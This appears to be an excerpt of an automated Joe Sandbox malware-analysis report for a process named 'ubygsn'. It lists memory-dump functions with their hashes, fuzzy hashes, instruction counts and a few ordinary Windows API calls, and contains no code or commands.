Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a65c058eeeaf401026365f1ee83461dc48006100bb55eeb543717b72da24884c
Instruction ID: 5d213e4751e48ea624cc38aaa3211f328ea7cd287bc21af910a325690f5bbb39
Opcode Fuzzy Hash: a65c058eeeaf401026365f1ee83461dc48006100bb55eeb543717b72da24884c
Instruction Fuzzy Hash: AAF11874E00229CFDB54DFA9D884B9DFBB2BF88300F1082A9D448AB355DB719986CF50

Function 01019DE0 Relevance: 1.1, Instructions: 1137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7252a7ebc2b63be7e6c4ea49516d07c05468306f5a20650f38fb7ba78dbc3cab
Instruction ID: af9e72c917eaf7796ee4e25d82a371a152f36d42deb6859ad58792d9b3b0221b
Opcode Fuzzy Hash: 7252a7ebc2b63be7e6c4ea49516d07c05468306f5a20650f38fb7ba78dbc3cab
Instruction Fuzzy Hash: 9BA2A071B01249CFCB15CFA8C584AAEBBF2BF88310F158599E585DB26AD739EC41CB50

Function 06980B30 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8287f86b36345adcb1915427f6c4ce111f71bc2625295e8527c2d19bae43e627
Instruction ID: caddd4e340f2b1d9bc92f878db4fb876ce2e03f3983bdd2d362b67bb57b0d1cb
Opcode Fuzzy Hash: 8287f86b36345adcb1915427f6c4ce111f71bc2625295e8527c2d19bae43e627
Instruction Fuzzy Hash: 9672BF74E0126A8FDB65DF69C980BEDBBB2BB49300F1481E9D449A7355DB349E82CF40

Function 010169A0 Relevance: .5, Instructions: 515COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d57a780a94cc037068bd42ef18d72b696b59e54e99af47ac79f4a935ff3a16b
Instruction ID: febaa776f47b1e67b08fb489baefc490b5cb3298d7dc0f34bdcbd5b60832fea1
Opcode Fuzzy Hash: 6d57a780a94cc037068bd42ef18d72b696b59e54e99af47ac79f4a935ff3a16b
Instruction Fuzzy Hash: 9912AE70A002198FDB15DFA9C894BAEBBF6BF88300F108169E445DB399DF799D41CB90

Function 010129EC Relevance: .5, Instructions: 490COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30249eeea01e63837acc30b5486f03c6e46743f6597678afa809dc375152a499
Instruction ID: 4d696cb1d0ce123838ec4f1a29c4f17e13f63ac2a09fdc3dc85caa57e833d835
Opcode Fuzzy Hash: 30249eeea01e63837acc30b5486f03c6e46743f6597678afa809dc375152a499
Instruction Fuzzy Hash: 41027B3194A3958FC7A38F78C45029ABBF1FF46338B2484EDC485DA526E77E4846CB41

Function 01016FC8 Relevance: .4, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25648017e632d3076def09c5bf7a6a300e720c344e9fede0fe72d6c2d3deb53f
Instruction ID: 790a4fe9c396e669875389034ce951f6c4d3793dc6ce79ad11aee0e7541193eb
Opcode Fuzzy Hash: 25648017e632d3076def09c5bf7a6a300e720c344e9fede0fe72d6c2d3deb53f
Instruction Fuzzy Hash: 73026270A00219DFDB55CF68C884AADBBF2FF88304F1580A9F985A7269DB79DD41CB50

Function 06982970 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccad65e3acb49490a04b073fe9c24812cc658a284748f6c41ee62320be96152a
Instruction ID: 861b3194a5e522999eb94e08791c71700a6ce4320accbb890c8ce7d22519680d
Opcode Fuzzy Hash: ccad65e3acb49490a04b073fe9c24812cc658a284748f6c41ee62320be96152a
Instruction Fuzzy Hash: E7C1A378E01219CFDB64DFA5D984B9DBBB2BF89300F2081A9E809A7355DB355E81CF50

Function 01013E09 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d382df48b835dd446249980447385b30da90791565655abe941ac833570afee4
Instruction ID: c2d41f8f9ac256fa4d08dc1d17be36dad8871013f142393596be3f31ff0f3b19
Opcode Fuzzy Hash: d382df48b835dd446249980447385b30da90791565655abe941ac833570afee4
Instruction Fuzzy Hash: 3591C774B04219DBDB099BB5C85467EBBA3BFC8710B08866DE543E7398CF3988029791

Function 0101C146 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dc139653c61406cb4cb49417924b27e433d627b7f3e6165164f418997720b3c
Instruction ID: 2f94ba1bfe6a5c4fea7ed2db182b8bed4abf7a937ece12231ae6ca3f5c50f976
Opcode Fuzzy Hash: 1dc139653c61406cb4cb49417924b27e433d627b7f3e6165164f418997720b3c
Instruction Fuzzy Hash: E2A11974E40258CFEB54CFAAD984A9DBBF2BF89300F14C069E449AB365DB749942CF50

Function 06982DD0 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b466705887fe0edd3441b9c9ca7f9710df4d1866e7c8ddf71a747ec166385542
Instruction ID: 7ef07f0f4386039b5c153513ef7b38c35504b15614e34710d714b77cd1e23872
Opcode Fuzzy Hash: b466705887fe0edd3441b9c9ca7f9710df4d1866e7c8ddf71a747ec166385542
Instruction Fuzzy Hash: 64A11774D00218CFEB54DFA9C944BDDBBB1FF89314F208269E408AB2A1DB759A85CF54

Function 06982DCA Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec6b0b91fe4f8df324837f84a237fd977efab6a01fd12e5a06850644c5ed68d
Instruction ID: f92bfa8587d2aef395887577a0ae06c0ec61ee884478df683f70dc4f6e9aaed5
Opcode Fuzzy Hash: 0ec6b0b91fe4f8df324837f84a237fd977efab6a01fd12e5a06850644c5ed68d
Instruction Fuzzy Hash: 7EA11674D00218CFEB54DFA9C944BDDBBB1FF89314F208269E408AB2A1DB759985CF50

Function 06983116 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36e240e4268c69870256495310cd40b6e1e518546d2327d4b6bebe94a61415b0
Instruction ID: 88023d13191005d468a1f486c4b4189b9b6f93e392cec22ab5a7735304529777
Opcode Fuzzy Hash: 36e240e4268c69870256495310cd40b6e1e518546d2327d4b6bebe94a61415b0
Instruction Fuzzy Hash: 67910474D00218CFEB50DFA8C888BDDBBB1FF49310F209259E409AB291DB759A85CF54

Function 0101C468 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3026c23f055a78a64bd290b9448e5a3f90617deb110b52edb97fcfe7282fa8b2
Instruction ID: 1722b1799c9faf691edb23d04df13d3dcaa177b96f899c456b1a50fad8977455
Opcode Fuzzy Hash: 3026c23f055a78a64bd290b9448e5a3f90617deb110b52edb97fcfe7282fa8b2
Instruction Fuzzy Hash: A791E474E00218CFEB54DFAAD984A9DBBF2BF88300F14D069E449AB365DB749941CF50

Function 01015362 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86ee281cecffe1407257c170bb51748af0c1adc5fae505de39e4db3d9be93dd7
Instruction ID: 6050f68bf8744e9241cc81afe611167ed29868cadca7ab18e279df06b55ac4a4
Opcode Fuzzy Hash: 86ee281cecffe1407257c170bb51748af0c1adc5fae505de39e4db3d9be93dd7
Instruction Fuzzy Hash: B991E574E00258CFDB55CFAAD894A9DBBF2BF89300F14D0AAE449AB365DB349941CF10

Function 0101D278 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d791260a05da1a123c631b02bfd2705901f5637843e197675cbbc9bea6b236b4
Instruction ID: 4542966cbd8c728e02f9bf8196ff461a13e91db8c480e137adb2fbe3a52e6e0d
Opcode Fuzzy Hash: d791260a05da1a123c631b02bfd2705901f5637843e197675cbbc9bea6b236b4
Instruction Fuzzy Hash: 8281B274E00258CFEB54DFAAD984A9DBBF2BF89300F14D069E449AB365DB749981CF10

Function 0101CA08 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcda005e80ac17eb725785b16004ef33d38a95006f8ceb163de80f5dcc2e05ac
Instruction ID: 0147236646b09cc0af823e2866d9be4297ccfdc62ffbd1aab8646d15e20618f3
Opcode Fuzzy Hash: bcda005e80ac17eb725785b16004ef33d38a95006f8ceb163de80f5dcc2e05ac
Instruction Fuzzy Hash: 0481F374E00218CFEB54DFAAD984A9DBBF2BF89300F14D069E459AB365DB349981CF10

Function 0101CCD8 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de56d5ae9467295d0f7ce131f6dddcadbe208106108e77c65c4312ca2a1640ec
Instruction ID: d09374f0750d58833a6ed899f9543df89f741e6097c414d6b7e8584c1ad844d7
Opcode Fuzzy Hash: de56d5ae9467295d0f7ce131f6dddcadbe208106108e77c65c4312ca2a1640ec
Instruction Fuzzy Hash: 7681E574E00258CFEB54DFAAD984A9DBBF2BF89300F10D069E449AB365DB749981CF10

Function 0101C738 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0cc1734b56ae0940d28d604c90e96d5efb98f52c32ae6d9bccd4e8a37039dec
Instruction ID: 5eb7dc0229be830256208c78fc34247a11c82f44f7436e2121a138c423e86324
Opcode Fuzzy Hash: e0cc1734b56ae0940d28d604c90e96d5efb98f52c32ae6d9bccd4e8a37039dec
Instruction Fuzzy Hash: 3581D274E00258CFEB54DFAAD984A9DBBF2BF88300F14D069E849AB365DB749941CF50

Function 0101CFA9 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81a09435de70f8676c0dd7a6535438cdfb56c7a849541225de09bd2eb09723c9
Instruction ID: b7d883954f1437e925ee95a198afb7f3080fb2f38f275367220c421e14bcc7a7
Opcode Fuzzy Hash: 81a09435de70f8676c0dd7a6535438cdfb56c7a849541225de09bd2eb09723c9
Instruction Fuzzy Hash: 9081E574E00258DFEB54DFAAD884A9DBBF2BF88310F14C169E449AB365DB749981CF10

Function 0101F2C0 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db2d27312994827110be8cefa15b62391ad89269c0f8e44c8978636f5dd908cf
Instruction ID: d47326f83432fb874ccd457df3f09f886c9936af904e50b0cd6ee22d3417e4cd
Opcode Fuzzy Hash: db2d27312994827110be8cefa15b62391ad89269c0f8e44c8978636f5dd908cf
Instruction Fuzzy Hash: D9513970D0021ACBDB05EFA9D5947EDBBF2BB89300F14C269D4446B299CB799885CF50

Function 0101E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b75d04cafa789f1a1039b103cc46d1270be7ed319631c345da6348e9fb861dec
Instruction ID: 236bc067afd74976637aa51bbadcd0c3feeeddd2ea3297f52d796f60ead398a7
Opcode Fuzzy Hash: b75d04cafa789f1a1039b103cc46d1270be7ed319631c345da6348e9fb861dec
Instruction Fuzzy Hash: EC51B674E00208DFEB19DFBAD984A9DBBF2BF88300F249129E815AB365DB345941CF14

Function 0101F4AC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cc26e52a16d8ccbfe54df4c6b315458243d032f227c4e55035e5f2918503245
Instruction ID: 4c440cc8eb602a0a48639f906435deb7f5e141f03ccb4cda9b10187251af0e09
Opcode Fuzzy Hash: 2cc26e52a16d8ccbfe54df4c6b315458243d032f227c4e55035e5f2918503245
Instruction Fuzzy Hash: FA512574D0121ACFDB14EFA8D4847EDBBF2FB49310F248259D485AB299CB7A9885CF50

Function 0101E97B Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8905ebeb6d49a5807c47d0d9470809268a1cfdc406b4f5e7f4231a34778ce28a
Instruction ID: 5cd69d5a2001c15fbd11c71d651753760f508b360086c349bffa23fc6e3c2517
Opcode Fuzzy Hash: 8905ebeb6d49a5807c47d0d9470809268a1cfdc406b4f5e7f4231a34778ce28a
Instruction Fuzzy Hash: 6D519674E00208DFEB19DFBAD594A9DBBB2BF88300F249169E815AB365DB745841CF14

Function 00F051A0 Relevance: 1.7, APIs: 1, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00F05406

Memory Dump Source

Source File: 0000000E.00000002.4587595346.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f00000_ubygsn.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2076f25c93f15e31ec1ed526bdf27b3f050008d0c3f5e909374e5cf45d211d5a
Instruction ID: e3ba8fd239df8decb79c9cd7de28454fa15f3c3018c49e295f12ec03ce43f56e
Opcode Fuzzy Hash: 2076f25c93f15e31ec1ed526bdf27b3f050008d0c3f5e909374e5cf45d211d5a
Instruction Fuzzy Hash: 7D814370A00B058FDB24DF6AD45479BBBF1BF88710F10892ED4869BA81DBB5E845DF90

Function 0698C708 Relevance: 1.6, APIs: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL(000000FF), ref: 0698C86A

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: f1663ca5c773cfb78bb53a3114ff4451ae5b6380d7a50909955c0e78b802e0d8
Instruction ID: cc6947ab0c786d5810b73cbd4af3943cb9413f5aaa4cea36c36a727b1555672b
Opcode Fuzzy Hash: f1663ca5c773cfb78bb53a3114ff4451ae5b6380d7a50909955c0e78b802e0d8
Instruction Fuzzy Hash: 1951F3B4D01218CFDB58DFAAD4886DDBBB2BF88310F10C129E415AB294D7749945CF50

Function 0698C8A3 Relevance: 1.6, APIs: 1, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7f058fd037e61e6e08a7c30bd1516d57c37fb452ead2fa511fa92afc2afca63
Instruction ID: ab29c75030a98b0d95766cd0e6b828062a49695d7ac77a1853940c5e693577db
Opcode Fuzzy Hash: a7f058fd037e61e6e08a7c30bd1516d57c37fb452ead2fa511fa92afc2afca63
Instruction Fuzzy Hash: 6E511074D01208CFDB54DFA8D488ADCBBB2BF49320F209529E415BB294D3359886CF60

Function 00F07384 Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00F074A2

Memory Dump Source

Source File: 0000000E.00000002.4587595346.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f00000_ubygsn.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 56038435e3fe8a20256b67104b101cd4198dd43c5bd29c8daf60af9832542c26
Instruction ID: 9d301b3fc4eb49acfa6015604ab7449a6bb9901eff470559e6bf4843b0a94b85
Opcode Fuzzy Hash: 56038435e3fe8a20256b67104b101cd4198dd43c5bd29c8daf60af9832542c26
Instruction Fuzzy Hash: 0B51E2B1C14349DFDB14CF99C884ADEBFB6BF88310F24816AE819AB250D774A845CF90

Function 00F0484C Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00F074A2

Memory Dump Source

Source File: 0000000E.00000002.4587595346.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f00000_ubygsn.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 0a98c34a6150c923ed96457c01494b63fbe8a9a7f1f39a228ed76f5f58ceffba
Instruction ID: 7e5b173e4def68ce7f688614eeded96d898bb79945644d20e8f6aefbbbc69493
Opcode Fuzzy Hash: 0a98c34a6150c923ed96457c01494b63fbe8a9a7f1f39a228ed76f5f58ceffba
Instruction Fuzzy Hash: D351DEB1D04309DFDB14DF99C884ADEBFB6BF88310F24816AE819AB250D770A845DF90

Function 00F0499C Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 00F09BA1

Memory Dump Source

Source File: 0000000E.00000002.4587595346.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f00000_ubygsn.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: e3bda10b481bf7c98e595c5da563f2c5528aaabcca3cb049b9764ab8fd5fe2fe
Instruction ID: ac42a026dd4981b28af2f6ac8edc136552e32205da961e4d53e587fed7a1c033
Opcode Fuzzy Hash: e3bda10b481bf7c98e595c5da563f2c5528aaabcca3cb049b9764ab8fd5fe2fe
Instruction Fuzzy Hash: 304149B5904209CFCB14CF99C488BAABBF5FF88324F24C459D519A7362D7B4A941DBA0

Function 00F0C011 Relevance: 1.6, APIs: 1, Instructions: 80
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 00F0C06D

Memory Dump Source

Source File: 0000000E.00000002.4587595346.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f00000_ubygsn.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 8ec84151bfd807b1fcbc39be993174bd0898d985e08aaa755f5404f73795812a
Instruction ID: 4fba0989ba5c3b9a9338109e6d59d9de9d24dedd5f16584f20e3937f98c70d46
Opcode Fuzzy Hash: 8ec84151bfd807b1fcbc39be993174bd0898d985e08aaa755f5404f73795812a
Instruction Fuzzy Hash: 7221DD70800359CFCB20CFA9C949BDABFF4EF48324F14455EE456A7291C3B9A844DBA1

Function 0698992C Relevance: 1.6, APIs: 1, Instructions: 62
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 06989A6E

Memory Dump Source

Source File: 0000000E.00000002.4613979259.0000000006980000.00000040.00000800.00020000.00000000.sdmp, Offset: 06980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6980000_ubygsn.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: eed2acb5f1e6544bb17c5749304c89484e2351679f7a8cec3bce4db6a630ed29
Instruction ID: 84915da55ac25f62cf758df801e8d074065bf7843e18b409671e548755ecdd08
Opcode Fuzzy Hash: eed2acb5f1e6544bb17c5749304c89484e2351679f7a8cec3bce4db6a630ed29
Instruction Fuzzy Hash: E2116A78E002198FEB44EBECD884BBDB7B5FB88314F248265E844A7655D771D942CB60

Function 00F053A0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00F05406

Memory Dump Source

Source File: 0000000E.00000002.4587595346.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f00000_ubygsn.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: bfd3606a5772fee90d89efbbc5cb3683e120106f21c4d093a46a6fd92a7d6427
Instruction ID: f27974128448a17a25a11e7dcb31d63de5fcdfde50f55b5a668f6ce41a43efa8
Opcode Fuzzy Hash: bfd3606a5772fee90d89efbbc5cb3683e120106f21c4d093a46a6fd92a7d6427
Instruction Fuzzy Hash: C2110FB6C007498FCB10CF9AC844ADEFBF5AF88720F10842AD819B7640C3B9A545CFA5

Function 00F0B1B8 Relevance: 1.5, APIs: 1, Instructions: 46
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 00F0C06D

Memory Dump Source

Source File: 0000000E.00000002.4587595346.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f00000_ubygsn.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 3d4d0dcee5014e1f0ee212c5224341c99202790deaf413c97bb9730a297e49ab
Instruction ID: 4f24fdfb68c3adc82ae5ea5683a3ca5dece2165d5fd8bf069a19ff4d173e9a5f
Opcode Fuzzy Hash: 3d4d0dcee5014e1f0ee212c5224341c99202790deaf413c97bb9730a297e49ab
Instruction Fuzzy Hash: 7B1100B5800749CFCB20DF9AD444B9EBBF4EB48720F208559E919A7241D3B9A944CFA5

Function 0101AEF0 Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

3, xrefs: 0101AED8

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID: 3
API String ID: 0-1842515611
Opcode ID: 075f8fcf58306716040c77c4ce856c3b1edb83e00a4918dad0ff681e8b470589
Instruction ID: be2c8c10b5a6567282a12a120a00c9c55fd2d3f1f845248adfa3ef1963c0a14f
Opcode Fuzzy Hash: 075f8fcf58306716040c77c4ce856c3b1edb83e00a4918dad0ff681e8b470589
Instruction Fuzzy Hash: 1F5106357002449FCB16AB78D8546AE7FF6AF89310F1440A9E546DB39ADF359C02CBA1

Function 0101E007 Relevance: .7, Instructions: 654COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 651969a3d37f5e3456406428de14a2f34d7d4b566b841d7a9aac12a0e11c4f4e
Instruction ID: 29894a16f3b078850498ec229c134e0a132428303c28e4c7299580ec3c913c3b
Opcode Fuzzy Hash: 651969a3d37f5e3456406428de14a2f34d7d4b566b841d7a9aac12a0e11c4f4e
Instruction Fuzzy Hash: 3F1299BC0212479FE6607B38E7EC12ABB60FB4F363704AD94B58F804599B7E14498B61

Function 0101E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4588807429.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1010000_ubygsn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c60a0d6d1926e8d8dce20304e130603fc3e27a0b5f0d10fb5b309290744090a9
Instruction ID: c2233e6ad36e13708376447fc4cc92089e96036f97b7762a18cb593741f2132a
Opcode Fuzzy Hash: c60a0d6d1926e8d8dce20304e130603fc3e27a0b5f0d10fb5b309290744090a9
Instruction Fuzzy Hash: B61299BC0216479FA6607B38E7EC12ABB61FB4F363704AD90F58F80459DB7E14498B61

Function 01010C8F Relevance: .5, Instructions: 543COMMON

Download Yara Rule

Memory Dump Source

